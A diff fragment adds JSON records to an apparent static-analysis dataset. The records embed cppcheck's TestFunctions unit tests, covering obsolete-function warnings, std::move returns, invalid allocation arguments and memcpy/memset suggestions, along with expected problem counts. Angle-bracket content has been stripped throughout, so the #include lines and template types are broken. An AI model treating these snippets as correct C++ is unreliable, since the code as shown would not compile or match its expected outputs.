std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkProhibitedFunctions.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkProhibitedFunctions.json new file mode 100644 index 0000000..8318274 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkProhibitedFunctions.json @@ -0,0 +1,22 @@ +{ + "name": "checkProhibitedFunctions", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 39, + "branches": 13, + "apis": 33, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 136 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n 